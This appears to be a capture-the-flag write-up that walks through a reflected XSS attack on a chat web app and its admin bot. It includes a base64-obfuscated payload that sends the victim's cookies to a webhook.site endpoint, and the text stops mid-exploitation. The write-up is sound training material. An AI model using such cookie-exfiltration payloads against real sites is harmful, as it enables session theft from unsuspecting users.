Viewing the webpage source code , looks like its not submitting through form and "Report Admin" button calls the reportAdmin() javascript function
var chatHistory = [];
// Add an event listener to the user input field for the Enter key
document.getElementById("user-input").addEventListener("keyup", function(event) {
if (event.keyCode === 13) {
event.preventDefault();
sendRequest();
}
});
Submit is triggered when we press enter and it calls sendRequest() function
function sendRequest() {
const queryParams = new URLSearchParams(window.location.search);
const apiKey = queryParams.get("apiKey");
if (!apiKey) {
alert("Please provide an API key in the URL (e.g. ?apiKey=YOUR_API_KEY)");
return;
}
sendRequest() function then checks for value of apiKey in the url parameter , if it works you get chatgpt's response
function reportAdmin() {
const queryParams = new URLSearchParams(window.location.search);
const apiKey = queryParams.get("apiKey");
var xhttp = new XMLHttpRequest();
// Set the HTTP method and API endpoint
xhttp.open("POST", "reportAdmin");
xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhttp.send("key="+encodeURIComponent(apiKey));
xhttp.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
alert("Reported to admin!");
}
}
}
reportAdmin() will be triggered when the report admin button is pressed where it search for apiKey in url parameter and pass to /reportAdmin (we can assume it trigger the admin bot)
bot.js (admin)
var webPage = require('webpage');
var page = webPage.create();
var system = require('system');
var args = system.args;
phantom.addCookie({
'name' : 'flag',
'value' : 'this_is_not_the_flag',
'domain' : '127.0.0.1',
'path' : '/',
'httponly' : false,
'secure' : false,
'expires' : (new Date()).getTime() + (1000 * 60 * 60)
});
page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
setTimeout(function(){
console.log("success");
phantom.exit(0);
}, 3000);
});
The bot will contain flag and it will open the page with user supplied apiKey
Objective (Remote Reflected XSS) :
steal admin cookie when admin visit
Exploitation :
xhttp.send("key="+encodeURIComponent(apiKey));
//Means We cannot have space
page.open("http://127.0.0.1/?apiKey="+args[1], function(status) {
Attempting on GET request
Before BASE64 :
document.write('<img src="https://webhook.site/c825884a-2c6c-41e3-a413-a19c5820f215/?c='+document.cookie+'" />');
After BASE64 :
ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs=
?apiKey=</script><script>eval(atob("ZG9jdW1lbnQud3JpdGUoJzxpbWcgc3JjPSJodHRwczovL3dlYmhvb2suc2l0ZS9jODI1ODg0YS0yYzZjLTQxZTMtYTQxMy1hMTljNTgyMGYyMTUvP2M9Jytkb2N1bWVudC5jb29raWUrJyIgLz4nKTs="))</script>
http://skrctf.me:4000/?apiKey=%3Cscript%3Eeval(atob(%22YWxlcnQoZG9jdW1lbnQuY29va2llKQ==%22))%3C/script%3E
Running GET request and we get error throw back
"); // Set the callback function to handle the response xhttp.onreadystatechange = function() { if (this.readyState == 4) { if(this.status == 200){ // Parse the response JSON var response = JSON.parse(this.responseText); // Add the user input and response to the chat history chatHistory.push({ role: 'user', content: data.messages[0].content }); chatHistory.push({ role: 'assistant', content: response.choices[0].message.content }); // Update the chat history and clear the user input field updateChatHistory(); clearUserInput(); }else{ alert("Request error! Please check your API key!"); } } }; // Set the request data var data = { "model": "gpt-3.5-turbo", "messages": [{"role": "user", "content": document.getElementById("user-input").value}], "temperature": 0.7 }; // Send the request with the data xhttp.send(JSON.stringify(data)); } function updateChatHistory() { var chatHistoryHTML = ''; for (var i = 0; i < chatHistory.length; i++) { var message = chatHistory[i]; var messageHTML = '
'; messageHTML += '
'; messageHTML += message.content; messageHTML += '
'; chatHistoryHTML += messageHTML; } document.getElementById("chat-history").innerHTML = chatHistoryHTML; } function clearUserInput() { document.getElementById("user-input").value = ''; } function reportAdmin() { const queryParams = new URLSearchParams(window.location.search); const apiKey = queryParams.get("apiKey"); var xhttp = new XMLHttpRequest(); // Set the HTTP method and API endpoint xhttp.open("POST", "reportAdmin"); xhttp.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); xhttp.send("key="+encodeURIComponent(apiKey)); xhttp.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { alert("Reported to admin!"); } } }
Error indicate that we might need to escape "); and close the script tag